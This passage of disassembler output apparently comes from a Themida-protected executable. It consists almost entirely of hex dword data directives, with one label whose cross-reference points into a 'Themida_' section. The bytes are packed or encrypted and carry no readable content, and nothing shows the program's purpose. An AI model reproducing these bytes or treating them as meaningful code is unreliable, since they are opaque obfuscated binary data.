713558BEh, 5EF38939h dd 4E1FF381h, 0E3C12DC6h, 17EB8103h, 814F7E05h, 0EEBF56EBh dd 5BDE894Fh, 4EC81h, 24890000h, 24048124h, 4, 789E685Fh dd 34890000h, 8478F24h, 5F2434FFh, 4C481h, 34FF0000h, 0C4815E24h dd 4, 0F962FCE9h, 0E7B838FFh, 3064F1Ah, 0D5E0FFC5h, 0F836EAA8h dd 6165EE60h, 1F048B40h, 811B7DA3h, 697243B7h, 4100DF75h dd 0EB646695h, 8, 24969500h, 47DE900h, 0AF680000h, 0E9064F1Ch dd 0FFF962BDh, 4F1D3468h, 62B3E906h, 0B668FFF9h, 0E9064F1Eh dd 0FFF962A9h, 0C8A8A74Eh, 315356DCh, 0A5C7C265h, 284849E9h dd 93F1F07Ch, 9F1B2370h, 1CA2FE9Ah, 8A376301h, 3AB9D5B7h dd 0EF865D3Fh, 734DD99Fh, 0C641E77Ch, 8BF8F985h, 0E87F7AF9h dd 7ED4B354h, 78310A62h, 0EC8DFAFDh, 9BA6F86Fh, 577C6C3Bh dd 0C98B5B28h, 807C6C3Ah, 2AC669D6h, 8F1FB78Ah, 0DBA90694h dd 30F4Eh, 76D9D500h, 30A7655Eh, 3283C599h, 56517624h dd 0F4B91580h, 307C6C42h, 0F23B9577h, 0EA79D1A7h, 59C0BD1h dd 5FE5CB6Bh, 0CFACDD5Ah, 0AB006967h, 36C7799h, 0F7892372h dd 0B61C9DEAh, 842CDDE6h, 2990C8Dh, 0D561366Bh, 42668297h dd 89635414h, 0BD116073h, 738963FBh, 8921AEC9h, 0D19C43CBh dd 848B0079h, 7DDCB03Bh, 4D2A46ECh, 0A6BD46DAh, 2E25CEDAh dd 7420629Fh, 3BAB6417h, 2E1h, 0D4B48B2Ah, 5D3F3AB8h, 0C1A3BE41h dd 34542DD5h, 0BFDDDC58h, 7B073F94h, 0F88E1A66h, 96138FEDh dd 1EA5F193h, 0D3EA791Bh, 734EBDFBh, 0D2B50B7Ch, 25CF7EB9h dd 0D5525320h, 4EC86C42h, 851C7C73h, 734D6F29h, 0B5327D7Ch dd 1BE28E22h, 5CC1BCB3h, 8DEF6CFCh, 0FDFC7814h, 2678EF8Ch dd 7C73CD62h, 0E9A9016Eh, 0AF3F4C4Dh, 7C73CDE4h, 99B447ECh dd 4EE4DFDAh, 0CBCE74E4h, 0F124F34Ah, 9D1218F0h, 25CEDh dd 3130B100h, 0B8BD4753h, 2C3BCCD8h, 0D1D0504Ch, 465BE7B3h dd 80B8193Ah, 0B87E5E4h, 9C086875h, 26721E11h, 69FA869Dh dd 50407856h, 3A8C7C73h dd 0DC7EB969h, 0BEF9B249h, 0D35CFA30h, 70F1F47Fh, 1258FCDAh dd 0C3AC7C74h, 724CE3B2h, 7C741236h, 0DD9BF382h, 0EB7C7411h dd 29A70F8Ch, 7C74116Bh, 68B774E6h, 832B2ED4h, 0AECD30EBh dd 19AEADBh, 85310000h, 0FB8AFBFEh, 0B2C3DE61h, 36BD5DF5h dd 4D6B27C7h, 2CAD071Bh, 38BB554Ch, 0FE39953Dh, 1CD0C95Ch dd 0C235880h, 36880DA5h, 7C6CD107h, 0C8CF6A06h, 0A53A5662h dd 2BA8C9A6h, 31B14B5Ah, 783C9A30h, 0D37C6CD0h, 3C75B867h dd 2EADCD87h, 8418BEF2h, 0DBA9B49Fh, 4945h, 15902C00h dd 94046512h, 1D9AEBEEh, 7EB912B5h, 647549DCh, 0B07C6C40h dd 58EF86F7h, 6C404206h, 49E18E7Ch, 6C40490Bh, 0FCE97F7Ch dd 7C75FD8Fh, 15CA880Fh, 0D88733DCh, 0FBFE7B15h, 2945ED8Ah dd 0DBA903F2h, 0B328h, 0FE857300h, 72FE8AFBh, 0A854E87Fh dd 4CDBD8A9h, 24333672h, 4DE58276h, 0C1D1522Eh, 28492623h dd 25CEDAABh, 0AE94422Eh, 0DA762437h, 5E3E5A59h, 0F4FD5365h dd 1189CF3Bh, 91EEE383h, 0AA049310h, 7C6EE2BBh, 3BD5402Fh dd 0B16A9BFh, 25B7EE8Ah, 0EBEE8A98h, 369C1D9Ah, 0F1CDDE5Ah dd 7C6EE1B7h, 42FD7A05h, 0C568B8Bh, 0DA44F2ADh, 33000000h dd 0C1DDBFB2h, 4E5A2623h, 0D2CEAAB9h, 613D5F52h, 9FA4C4C5h dd 6F620E36h, 120F910Dh, 989F1A76h, 7ACF8h, 82DCF360h dd 7C7350C6h, 85DB4C12h, 0C98F8F9h, 0D1809467h, 898C37B4h dd 63039D08h, 1BB8C86Eh, 6CFBFE85h, 0A14753D0h, 29D6D7A4h dd 1DA6F281h, 29127A06h, 5A9AF463h, 6E7C6C81h, 0AFFF9601h dd 7C6C80E9h, 732288F7h, 3C5C5DD9h, 6C80E2A2h, 966D167Ch dd 0C129E0Ah, 90116E61h, 52F46213h, 53000000h, 49DC7EB9h dd 734ED375h, 2946217Ch, 0BFDDD85Bh, 344540E3h, 0DF04C8A6h dd 1AC1B982h, 0B8452DD6h, 26B8C8B9h, 5F3DBA3Bh, 0BC51A043h dd 8EB3F8E4h, 0B5C7B435h, 0C047340Dh, 0FC87AD12h, 51D26EF9h dd 0EE442552h, 263DC6D2h, 3D949h, 413E0000h, 0E5FC85DAh dd 787F0494h, 0FDFC790Bh, 7F6AFC8Ch, 0F3F6720Eh, 774AF682h dd 0F7CA6A06h dword_5AB468 dd 7655EA86h, 0CCC96B39h, 5456B9BFh, 4C6815Eh, 83000000h ; DATA XREF: Themida_:00550A21o dd 348704EEh, 28685C24h, 89000007h, 5268241Ch, 8900003Eh dd 0CB68243Ch, 8B064F1Bh, 0C481241Ch, 4, 8904EC83h, 4812424h dd 424h, 0EC835F00h, 241C8904h, 8B08478Fh, 8950243Ch, 405E0h dd 4050000h, 87000000h, 8B5C2404h, 8953241Ch, 4C381E3h dd 81000000h, 4C3h, 241C8700h, 5E4BE95Ch, 0B824FFF9h, 64F1FB5h dd 0E0FFC503h, 511C5DD6h, 6C13AD56h, 30F06C17h, 1EB2FFE1h dd 7235B28Eh, 2EFF81A2h, 6B9AAD72h, 55D5FFB0h, 57C9B1F8h dd 50993B2h, 4B608A85h, 786847EFh, 2818D375h, 53859CE4h dd 3ED15431h, 2180AD81h, 1C66978Bh, 3E5B24DEh, 442F1605h dd 0EDE9h, 8C666000h, 0F04A8D8h, 0DF84h, 8DB58B00h, 83064812h dd 850F00FEh, 22h, 0FF985C6h, 68450648h, 8E726969h, 0ED5B5FFh dd 858D0648h, 64B7F60h, 8589D0FFh, 6481AD9h, 3E80F08Bh dd 31850FE9h, 8D000000h, 4D7BA385h, 8BD0FF06h, 48182DBDh dd 84C78106h, 8B000011h, 48128DB5h, 0B9F78706h, 8, 0B58BA4F3h dd 648128Dh, 0A78D858Dh, 0D0FF064Bh, 2A79B58Bh, 0FE830648h dd 22850F00h, 0C6000000h, 480FF985h, 0F4685406h, 0FFFF4EBEh dd 480ED5B5h, 60858D06h, 0FF064B7Fh, 798589D0h, 8B06482Ah dd 0E93E80F0h, 3A850Fh, 0B58B0000h, 6482A79h, 7BA3858Dh dd 0D0FF064Dh, 182DBD8Bh, 0C7810648h, 1184h, 8B08C783h dd 482A79B5h, 0B9F78706h, 8, 0B58BA4F3h, 6482A79h, 0A78D858Dh dd 0D0FF064Bh, 858DC361h, 64F2084h, 23B98589h, 8D8D0648h dd 64F2228h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 2FC35242h, 89352905h, 4814058Dh, 0EDBD8B06h, 0C706482Fh dd 48302585h, 62D406h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 4F5CA8F1h, 11F1BD8Bh dd 85C70648h, 6482AD9h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 6DC35545h dd 3C0A1E2Dh, 0DBB90A5Dh, 4DB5FFD1h, 66064818h, 95FFF18Bh dd 6480E71h, 29ED950Bh, 6A0648h, 92D95FFh, 0C08B0648h dd 8FF00EEBh, 0C617454Dh, 0D99B2993h, 0ED8C8BBFh, 0FE0604EBh dd 0DCE903D6h, 6800000Ch, 64F241Ah, 0F95C24E9h, 24FF68FFh dd 1AE9064Fh, 68FFF95Ch, 64F2736h, 0F95C10E9h, 284868FFh dd 6E9064Fh, 68FFF95Ch, 64F2BABh, 0F95BFCE9h, 2CA468FFh dd 0F2E9064Fh, 68FFF95Bh, 64F2DB6h, 0F95BE8E9h, 696809FFh dd 10159F0Bh, 84832470h, 908A8E4h, 0BEB33F6Bh, 0D8E0B1D2h dd 633F5D5Ch, 0F4A0C0DDh, 7E2A7649h, 0C192FEF5h, 5498D0AEh dd 82247C73h, 0FBFE8501h, 7E75FE8Ah, 59E6B2E7h, 51E08F12h dd 11ABFAF9h, 98199693h, 0C4DB6632h, 0A4E4BA51h, 307624E9h dd 35D0DF77h, 0B1F7C75Eh, 3F7624E9h, 3BE0DA70h, 0DF6472F1h dd 4DCAABD8h, 0F2F7732Fh, 0D1592E63h, 6F1D5D9Fh, 0B1EABBC7h dd 7A1F39D9h, 46025C34h, 92762496h, 0ACE39415h, 0A48C875h dd 0DD663298h, 0A95633D5h, 2C2BC8D8h, 89536C4Ch, 0D39D401Eh dd 2E497C6Ch, 0CEC38151h, 0DC8E7C6Ch, 8EC2396Fh, 3318DBA9h dd 71000000h, 0CE5A57DFh, 515E2F22h, 7EB9EEF9h, 647549DCh dd 0B07C6C40h, 0BAEF86F7h, 0BCF743C1h, 28A60C87h, 7C6C426Ch dd 90B46BE7h, 0DBA91E6Bh, 0DBB1h, 0FE85EA00h, 64FB8AFBh dd 24334E0Ah, 0B51D9A76h, 0CD5859E5h, 22B5B033h, 24330C4Ch dd 77DFD876h, 8C8B2878h, 0E4E18719h, 78790597h, 542453FBh dd 0E2855CAFh, 0A3B921B3h, 0AB884622h, 22762516h, 48EEE58Eh dd 0B92C2BC8h, 0F1829F27h, 3DD5E97h, 5D6DC573h, 30A7A241h dd 8E9149Ch, 0D3FD2CBEh, 70314ECFh, 0C8F3DDDAh, 323B9302h dd 0F67C6D20h, 6B09199Ah, 1390E16Eh, 9DA6F692h, 0D82A9C0Bh dd 94150AD3h, 644BAD01h, 1E9982B7h, 5B49F587h, 3E5ADBDEh dd 7CC3C662h, 129EDA1Ch, 69F5651Ah, 9F00000Ah, 2D791B16h dd 0AAE68287h, 3E6A3615h, 0CDD9BBB6h, 23402021h, 0CBCE6A52h dd 7E6BFDA9h, 0E4FB8612h, 6C6B0884h, 6E40570Ch, 7C73572Ah dd 857710B6h, 0C98F8F9h, 63006067h, 49DC7EB9h, 88961EB2h dd 1F9CEDECh, 2A80E19Eh, 6C401DACh, 52772C7Ch, 47C26649h dd 630CAC02h, 4CE98312h, 0ADF7E54Dh, 0A47C6C82h, 16AA752Ah dd 78FA966Dh, 42B9D57Dh, 98DBA95Eh, 0A5h, 0E8FE8503h, 0AA23BE4Dh dd 28789851h, 0BCBD39ABh, 5021AECFh, 815AB45h, 18AE3A7Bh dd 49F5A50Dh, 0C8AB3B48h, 0C0762456h, 4D442423h, 9C3237B3h dd 37077FCh, 4E5CD874h, 5E2FACA3h, 2520C351h, 4406318Dh dd 7770FDD1h, 0CBB47C6Ch, 54F6C1A9h, 5FAEDC1h, 16E82B7h dd 7B7EFA96h, 0E0E18D19h, 9E6FF15Dh, 0DA48C712h, 984h dd 84E4FB7Ah, 0D6F6A08h, 71130E91h, 0E4849D25h, 6F0D0CA8h dd 0AB576F44h, 48DECAD6h, 0C6633F5Dh, 4EF5A1C3h, 23BA294Bh dd 73570D4Bh, 8205DB7Ch, 98F8F985h, 60670Ch, 0E8FE8563h dd 44045A4Bh, 90762433h, 98E99617h, 0F37F6B08h, 4AE671FEh dd 0DFDCADA8h, 0B7FD6B77h, 0E8762432h, 0B8E87CB3h, 42E848D8h dd 4A562DD6h, 0AEEAC45Bh, 3A762481h, 0BE45D57Dh, 35BECABBh dd 0B733413Eh, 0DB7C5B2h, 96297B08h, 6BDFA8Bh, 0A83EF7B4h dd 6018760Dh, 6C762481h, 4A31AB03h, 0F6B20CA3h, 0C2762481h dd 0E68D0DA5h, 32E981E3h, 0E8DDE141h, 0B1h, 0CF7EB933h dd 0B2B73325h, 0A627A4C5h, 4F125F2Fh, 515E7C6Ch, 4DD29220h dd 7C067C6Ch, 0FC780879h, 49098CFDh, 6B05D92h, 0AFFF9659h dd 7C6C4DE9h, 99FF88F7h, 4DFDFD6h, 0CE3549E1h, 14DBA981h dd 6Dh, 32FE478Fh, 2D167624h, 0DBA6F86Fh, 177C6C45h, 109C0868h dd 0E5626102h, 5DFF3894h, 0B78A36CAh, 7D18761Fh, 0AC82B44Eh dd 0E5EBCFF7h, 6CC21802h, 18B4234Ch, 79EA9B86h, 9045552Fh dd 41D3508Bh, 0A8C9A6A3h, 8F2A6602h, 0AA95FB88h, 381975E0h dd 517C6C67h, 56A4E4BAh, 81377C6Ch, 9330B79Ch, 0FA7C0B0h dd 0CA640463h, 57Ch, 680B8049h, 0EB1D8C67h, 0B13E31BCh dd 0D07A4519h, 0C046945h, 7607C6Dh, 0B89CD876h, 2DC87C6Ch dd 0A44F5D2Ah, 3FC0D0A1h, 0D08F4320h, 89FF61Bh, 6CB8F2B6h dd 19B1FE7Ch, 57CCF8A7h, 8DDBA994h, 538h, 95E98016h, 762432D3h dd 17646501h, 359D1A96h, 3803A339h, 278E0392h, 2CA24DA2h dd 0B5098C22h, 7C6CADE8h, 91733Ch, 0B3C0C76Ch, 157E5CF2h dd 812631C8h, 0ECAC02B6h, 0F825B186h, 15A73EBFh, 90E7946Dh dd 0B1867A3Eh, 0B8394625h, 122B8312h, 332BF9B0h, 6C1D1C99h dd 6C0BA70Fh, 0C486B11Fh, 9E26BA51h, 1EA6F283h, 0AE2C8203h dd 26352F46h, 0EB821592h, 84D2CF51h, 25B234C4h, 563F9710h dd 5E3A39BAh, 1BA2A142h, 63130039h, 4DE2900Fh, 0B3000007h dd 415D3F32h, 0CEDAA6A3h, 524E2A39h, 0E1BDDFD2h, 1F244445h dd 0EFE28EB6h, 928F118Dh, 181F9AF6h, 80872C78h, 25C73E0h dd 7C735A46h, 855BCC92h, 0C28AFBFEh, 2DC453F9h, 32803896h dd 234C7624h, 4448CD8Bh, 797C6Ch, 772E8E0Ah, 0D1E1496Ch dd 5AD3FD6h, 5E04441Ah, 0D7D07C6Ch, 0A9EFBF56h, 377C6C5Dh dd 9933E248h, 6F620E1Ch, 0E2E1821Eh, 16971495h, 0E2811B8Ah dd 26C34FE7h, 0C4845223h, 327C6C5Dh, 7C6C6D72h, 6CFBA19Ah dd 0E642D237h, 5BF3EFF1h, 0FACDE4BAh, 9E1982B4h, 0BB1351E1h dd 0A5417624h, 3DC5D7A4h, 8898C37h, 0AB10DA7Bh, 1ECD7992h dd 0E186CD36h, 0BC255EDDh, 0DDF9F8F9h, 21FB63CBh, 0D2000000h dd 0F010C4D9h, 47EFFADDh, 5BEC803Ch, 2D16E64Ch, 8BA6F86Fh dd 477C6C44h, 1BDB4B38h, 38000000h, 0D395E980h, 1762432h dd 6D0A6663h, 8C4E69C5h, 46444519h, 17907C6Ch, 0FE85FD66h dd 2E644FBh, 5FD012A1h, 63BAFh, 2D24CD00h, 0D4D1534Fh dd 5847D8B4h, 0CDC46C38h, 7277F3AFh, 9CA40D16h, 27731110h dd 0A8E48481h, 326E0A0Dh, 7DD6B2B1h, 5A54146Ah, 0DE607C73h dd 0DC7EB945h, 42A87549h, 60197C6Ch, 0A2125FE6h, 0EC8C22ABh dd 1E7F3995h, 224D7C6Dh, 0C39B32A5h, 7C6D1E85h, 0F1FE5453h dd 670500A3h, 0B8592CE9h, 0BA5864A3h, 1514912Bh, 13AF0764h dd 4BDA80BBh, 7411DB4h, 0D5972809h, 535604AAh, 9F9D701Ch dd 93116310h, 99A20A96h, 770A64F3h, 0B3A3B818h, 6D3787F4h dd 0E4972817h, 6893B56Ah, 0B2FCE2F7h, 15Fh, 287EB9E9h dd 0F52CB908h, 0DF76F7C0h, 6D193E8Fh, 9A0D6A7Ch, 6D6647E1h dd 23544F94h, 42DD9E97h, 8F2C82A5h, 117376FDh, 91EDFE85h dd 7C6D25D7h, 6C1D9AE5h, 0B86017DEh, 0E17B1AA3h, 48294643h dd 0EC33E8E2h, 988F5CB7h, 0A901D2BFh, 2D4F4AE9h, 60F7F271h dd 882E21CCh, 329A5BEBh, 39CEBE73h, 0A34F5D2Ah, 0FAD1BE5Ah dd 0BF3CE2ACh, 0D48B47CEh, 8F21781Fh, 1F9CEDF8h, 924605B7h dd 64650111h, 42D970E7h, 6CE82C6Ch, 0AFFFB87Ch, 7C6CE7E9h dd 18059BF7h, 0FB97339Bh, 56EA7D78h, 0C5A2D3AEh, 330E4E6Dh dd 0E7713787h, 237F7C6Ch, 0B5F28386h, 702A434h, 1D880976h dd 6CE82741h, 0EE8AF57Ch, 8017B58Eh, 0D4B157E9h, 0F245507Eh dd 169182B4h, 0D296E87Fh, 1E7624F1h, 0EEBA3991h, 76224E45h dd 9FCC02CDh, 5FBC8DE8h, 6F11A1DEh, 6876250Dh, 44EF35EAh dd 0A5D2D152h, 0AB2547C4h dd 0EA79468Fh, 308E25BCh, 0EA791578h, 2D6B3B44h, 0BBEA7916h dd 0BA8656FCh, 872C7818h, 0D563F380h, 0BA70C0BCh, 2D4B661Bh dd 99A24769h, 18C0BF31h, 0A0FC9C9Bh, 19770403h, 95E97C1Eh dd 6E805B60h, 7F72FF91h, 49DCDBD7h, 86C77250h, 66F8F7D9h dd 3454FA7Bh, 53BAh, 87B6EB00h, 0B191ADE6h, 0B9E8FB53h dd 0B749DC7Eh, 0F79E3411h, 6C448AA7h, 4839467Ch, 28BFBA38h dd 0DE1FEE94h, 8EDA1A29h, 0A5C56DEAh, 77945F0Eh, 2B5859E5h dd 5D48DE4Ah, 17E74F2Ch, 63FD682Ah, 0F6B7C4C1h, 0A7D9B560h dd 257C6C35h, 0B231CB5Ah, 67001FB7h, 99FBFE85h, 73079308h dd 0C28E022Dh, 0E5A7906Ch, 45951C72h, 0FFB47C6Ch, 10CCE9A8h dd 7E7AD086h, 2EDA631h, 9E6136EFh, 0B64ACB63h, 6CECC00Bh dd 0E54FE308h, 0ED880464h, 8AE47BEAh, 7C6C7ACEh, 86359D1Ah dd 0D3D65DEFh, 5530D6A2h, 95AE7ED4h, 70E60F7h, 5382B48Dh dd 0CD972754h, 0FE76249Bh, 53C2C162h, 247C3D7Bh, 46EC8B76h dd 980FCDF6h, 0D0667904h, 9C586945h, 0DF717C6Ch, 1F3DAA53h dd 382CA87Bh, 186713BBh, 9D99DB6Bh, 23CF7C6Ch, 0A743512Eh dd 9D9EDAB4h, 4D2A7C6Ch, 0F6C4BFCCh, 781FF009h, 0A1A44FE1h dd 0C583D3D0h, 0F37C6C9Dh, 6300716Ch, 8EC09611h, 650CF7D1h dd 0D9FDBA9h, 2CA6061h, 22h, 0DC7EB999h, 44DC7549h, 4F287C6Ch dd 2B6D41D8h, 0B97C6C44h, 0AB5B58FEh, 25h, 0A5A046DAh dd 7EB97A0Dh, 1EB249DCh, 83E09194h, 243295D3h, 0EE442376h dd 46525727h, 29E7C6Ch, 91EE6F62h, 0FBFE85F4h, 0A102EC44h dd 0B525DA12h, 2D8h, 0E888872Eh, 513336BCh, 0C5A7A245h dd 482829C9h, 0B3D1D05Ch, 7FFBC390h, 0FC821E7Ah, 6A1783E1h dd 1A99F597h, 0CFE67D1Fh, 735DB9FFh, 0E6A1077Ch, 8AFBFE85h dd 127E75FEh, 4CDB81BAh, 6C45CB72h, 0E3901F7Ch, 6C451153h dd 0D18E387Ch, 0F5F0720Eh, 3F4FE784h, 0DBA900C4h, 2C1Eh dd 7EB98500h, 647549DCh, 0B07C6C40h, 6C2886F7h, 0E77C6C3Fh dd 6B90B46Bh, 0B1DBA903h, 0E1h, 0CFF8418h, 56F912BBh, 41E9965Ah dd 0E8FE8526h, 81DD4857h, 762432C7h, 9CED6A15h, 1061600Ch dd 97E4E380h, 197B7E05h, 754CF488h, 3794FFDDh, 0A7397624h dd 3475021Fh, 7271F29Eh, 0EF97A16h, 9C8B336Dh, 0DEAF2CFEh dd 9007C5FEh, 6CFB6F3Eh, 9CFCBB7Ch, 0CE59033Ch, 1918A537h dd 9B861868h, 2926B41Ah, 0A182B78Dh, 31BD4FC6h, 0B8445030h dd 0F02006B9h, 6926129Eh, 1DFF9h, 81802100h, 80DB7E3h dd 0BCAB3C68h, 2120C0DCh, 0D6AB5743h, 0F0C8A9CAh, 7B177574h dd 0C98F8E5h, 96026E61h, 0D98A16EDh, 5EB0E8C6h, 0AA3C7C73h dd 0EBF985F9h, 0A8C84954h, 4C0C62F9h, 98762433h, 0EFFA8D1Fh dd 0D928CB47h, 0D1710143h, 3921393h, 422E376Ch, 3745B54Ah dd 24852167h, 50C0AF76h, 6C7CD2D5h, 0DC7EB9C7h, 2711B749h dd 0B7F48580h, 0AD387936h, 243297D1h, 0F45A2576h, 403C4D21h dd 99E87C6Ch, 6C3F83C5h, 0A956517Ch, 404A0AD8h, 0F27E7C6Ch dd 314E41ECh, 0F682F370h, 5C07744Bh, 9778B16Eh, 0DB4064DBh dd 1DBA903h, 0A6h, 0FBFE859Ah, 0C261FB8Ah, 61C9B6C7h, 473435B1h dd 24378CF7h, 787F0476h, 0E0E78C18h, 58023D93h, 66ACF1CDh dd 0BFF87C6Ch, 0E8EF9428h, 6D562642h, 879A27B9h, 9FD989F6h dd 2D7C6C5Dh, 7C52C542h, 82B6FFA4h, 791087E0h, 0BB737D00h dd 389E614Eh, 0BFDDDC58h, 0FB4247E3h, 129ECC61h, 0CD2AD857h dd 33000000h, 0C1DDBFB2h, 4E5A2623h, 0D2CEAAB9h, 613D5F52h dd 9FA4C4C5h, 6F620E36h, 120F910Dh, 989F1A76h, 7ACF8h dd 82DCF360h, 7C735FC6h, 80DB4C12h, 0E54D44ECh, 0E8888935h dd 0A53037BCh, 0C46A6F0Bh, 0EC801FA4h, 75324346h, 0B3B63DDDh dd 360DB6C2h, 9339026Ah, 57116D04h, 65762432h, 8DE1B41Ah dd 7C735504h, 0A9A85420h, 0AA495B28h, 3DD4CDAFh, 740500A3h dd 55216737h, 0C0AF7C73h, 0E05AE6Ah, 0C56D2671h, 0E7DFF3C0h dd 7A0B49E1h, 17820DB4h, 0B73CE45Bh, 2FC1D0B0h, 74248A87h dd 0E9BBC8CFh, 693B4849h, 0EFBDCAD7h, 653D4A47h, 0F89F540Bh dd 0D45F857Ah, 5CE7B3D1h, 0C65D2859h, 0FA93B0E8h, 0DB733C79h dd 3DDh, 0DA413A00h, 94E5FC85h, 0B787F04h, 8CFDFC79h, 0E7F6AFCh dd 82F3F672h, 6774AF6h, 86F7CA6Ah, 397655EAh, 0BFCCC96Bh dd 28E868B9h, 0C890000h, 7D8A6824h, 2C890000h, 6D166824h dd 3C890000h, 8EBB5324h, 81545414h, 0B31FDCEBh, 44BE564Eh dd 0F74F9E17h, 0F68146D6h, 0B38E3E82h, 895EF331h, 8B545BDDh dd 0C481243Ch, 4, 0EF895752h, 895FFA89h, 0FF5A0857h, 815F2434h dd 4C4h, 242C8B00h, 81E38953h, 4C3h, 4C38300h, 5C241C87h dd 0F94F5CE9h, 0CFA6CFFFh, 0D1C8A0B8h, 0B87E1DE3h, 64F2EA8h dd 0E0FFC503h, 4DEDF8ADh, 679A1131h, 3EB7C4E8h, 30BD04EBh dd 0CAE974CFh, 0C7000005h, 5541233Eh, 0D2CEAAAFh, 66325E4Dh dd 0F5A1C3DEh, 0B284849h, 131692AAh, 86832571h, 0C03AEFAh dd 0B4B3306Ch, 16687FD4h, 7C736252h, 855FC89Eh, 0D56CFBFEh dd 2432BFF9h, 0F3710D76h, 7BF8B9F6h, 28D4A4D3h, 0D45F4B29h dd 53D0A0D1h, 0D7C8C154h, 81DE1DF4h, 5C2B48EEh, 48AFE9C5h dd 723D7624h, 0A5B63CDCh, 24488FC9h, 0D5525D76h, 6EDD8DA4h dd 125628BFh, 3E762449h, 0AEC9BBB6h, 85476FD5h, 0B41AD8CAh dd 38585FE4h, 0A2CEC16Ch, 7744BF6h, 0C385D970h, 117624F1h dd 0F16A2E80h, 9767624h, 0D0762288h, 510184F5h, 0B7BB46EAh dd 0D7B5320Fh, 115727BEh, 3F7624F2h, 0ACCDBAB7h, 9F7BD3DCh dd 0D2601114h, 7624F193h, 925D02BCh, 15AADF19h, 32EA90CEh dd 0EACC469Fh, 0A7379F1Ch, 0DDE1A37Ch, 7AA6h, 26780F00h dd 7624D362h, 9590126Eh, 8525BE14h, 0FB8AFBFEh, 70C6C361h dd 24332462h, 0D6A95476h, 2B2ECBD9h, 0B56A445Ah, 64DB977Ch dd 0E10EDB40h, 0B01DDh, 0D1680000h, 243EBBFDh, 0C86E0976h dd 0ECFF85BFh, 2432D692h, 485E276h, 0A481891h, 9CEDE88Bh dd 91CA6A1Fh, 7007B41Ah, 235057DCh, 0A5D2CF51h, 23EF47C4h dd 0A5F78481h, 7C77041Dh, 690BD18Eh, 13900C6Ch, 85EF7414h dd 0F98BF8F9h, 79017E7Bh, 1C955807h, 50209614h, 0E2E7836Fh dd 0A14DCD65h, 49B35A0h, 0A30B6819h, 0EDE88B07h, 0CA77099Ch dd 2CB35FF7h, 484F4031h, 5B9BDDB1h, 4E297624h, 1F09F6E8h dd 0DDE139F4h, 872Eh, 0F9857500h, 0F8D66DF8h, 762432C0h dd 7E16630Ch, 0ECE1BAD8h, 5C2C4BE3h, 84AFDCCBh, 27C369D6h dd 9A19B322h, 2981EE9Fh, 60610D99h, 56E88413h, 0EF7D3A4Bh dd 72334045h, 49B43CDCh, 0D8B1D683h, 1A6BE8C3h, 0AE8645F1h dd 0DDE1C465h, 55BFh, 2F7F1600h, 76251069h, 1D980877h dd 0A60C6D1Ah, 0F8F9851Dh, 0DF60FC8Bh, 3AE6AC0h, 0AC02990Ch dd 762432ECh, 3307411Dh, 0AAD57624h, 7A79D1DEh, 86AA11DDh dd 0FE85E7FAh, 8DFAFF85h, 2432783Dh, 0A41BD776h, 0E10E9B80h dd 0D37408DDh, 50E687F4h, 18Ch, 0E2851700h, 79FA96E7h dd 1DB6EB7Ah, 43805B20h, 0A2D3D653h, 0C1EE44C5h, 423336B3h dd 0CEA08D36h, 7624868Ah, 0DBA82956h, 0FD32E9C3h, 0B963D89Ah dd 0D195CF26h, 32EA9FA3h, 0B532B3B6h, 75338B22h, 437624DFh dd 9AF28E24h, 126CFBA1h, 7C6CF367h, 8978FA96h, 0AF24FC6h dd 0F55DDA55h dd 0BACDBAC5h, 0E9949A26h, 51C16916h, 0ABEDC1D2h, 397C6C75h dd 0B5C2C76Dh, 0AAF677F4h, 17E75FEh, 6C75F5B1h, 0CCC5D07Ch dd 40B43E80h, 0B02A80CEh, 948221CBh, 0FB78E8EFh, 61EE8FFCh dd 0E9EC9703h, 986B0898h, 0B10D74C9h, 7C6C55F7h, 64C9BAC5h dd 96E76403h, 122C65F0h, 819A26FBh, 15CA842Ah, 0B29136CAh dd 820EA4C5h, 616FF1E1h, 0F4B5C2DFh, 0C86A0677h, 0ADCF4CCDh dd 0A918160Dh, 113CCDBh, 0B9570000h, 7549DC7Eh, 7C6C41B0h dd 0E75D8F04h, 3ABBAA9Bh, 37BCCCBDh, 0BF445030h, 3AB9CBB8h dd 46384E3Fh, 0EFBF5699h, 7C6D0EA9h, 36E24837h, 0BBEAB68Dh dd 0F4858421h, 948F1FB7h, 4EDBA9D2h, 39h, 0D97BB9D5h, 3388704Eh dd 0ABD47624h, 334C0CDAh, 19517624h, 0CF7642A2h, 0BEAB3D23h dd 0A223A0C1h, 336D5B33h, 821E7624h, 706DF3E7h, 4DE56203h dd 8826422Dh, 99h, 0DC7EB90Fh, 4EBC7549h, 6F087C6Ch, 87A283F8h dd 75A273D6h, 21C2DEDDh, 0A94A4622h, 58A21C5Eh, 74353EFFh dd 1D8B80BCh, 0A64CDC5Dh, 54D5D2A3h, 0ADCC9727h, 0A0F77C6Ch dd 75FA3FEBh, 609EEE5Ah, 30176038h, 1DC7B058h, 4E985B76h dd 13C88228h, 4D2F2AC9h, 293DB854h, 0A80E8F8Ah, 0B621EBD4h dd 0EC9D981Ah, 7B83C599h, 56517C6Ch, 3A9401A9h, 82BBAAB3h dd 0EDF6FC77h, 10A1D002h, 0ED96E293h, 0A7FE9916h, 1A6B6E15h dd 0C4BB359Dh, 0E2751720h, 7B58018Ch, 3E5A257Ch, 0DC7EB995h dd 941EB249h, 1483E091h, 2432FEBAh, 5ADCA76h, 73624657h dd 1285E27Ch, 6165237Bh, 38967C73h, 7C736180h, 5651234Ch dd 2A1F380h, 8A296507h, 6C1D149Ch, 1C159D0Fh, 16810E6Fh dd 791A3B9Dh, 0E84E857Eh, 4925BCCBh, 7C73450Fh, 45226638h dd 0C1AE7C73h, 0CC8CE2B3h, 187C7344h, 1AB81E9Fh, 0EEF34A4Eh dd 6DB06F23h, 0FD88B734h, 0D179E867h, 30A7A241h, 8D1F0A9Ch dd 1495E2E7h, 0CD7622BEh, 34C85FF6h, 0BBF88988h, 0F3E1ADEBh dd 0D67C3BEAh, 96D5CED9h, 0CDD3A2F5h, 0FCEDAB03h, 0BCFBEAF3h dd 7BFB973Fh, 521F2692h, 18EA93Eh, 94822070h, 1A9BE8EFh dd 169CEC9Dh, 934F6213h, 0C270172Ch, 0A93ED21Dh, 0FF8414BAh dd 670C98F8h, 0E8841360h, 0D5E34B56h, 3, 85DA4132h, 494E5FCh dd 790B787Fh, 0FC8CFDFCh, 720E7F6Ah, 0F682F3F6h, 6A06774Ah dd 0EA86F7CAh, 6B397655h, 0B9BFCCC9h, 5585450h, 4, 